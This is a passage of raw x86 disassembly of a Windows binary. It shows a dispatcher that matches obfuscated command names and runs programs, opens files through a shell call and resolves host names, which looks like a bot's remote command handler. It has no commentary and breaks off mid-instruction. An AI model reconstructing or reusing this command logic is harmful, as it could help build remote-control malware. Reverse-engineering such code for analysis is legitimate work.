--------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E50 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C745E890h dd 0C88B023Eh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC62 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449118 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D8099 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8075 call sub_401D20 call edi mov dword_4D8099, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2810000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 call near ptr 2800565h nop test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_449896 test al, al jz short loc_404F30 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498DF test al, al jz short loc_404F48 push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD70 call sub_401E79 mov byte_4D808C, 0 mov byte_4E8E44, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E5A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D808C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, 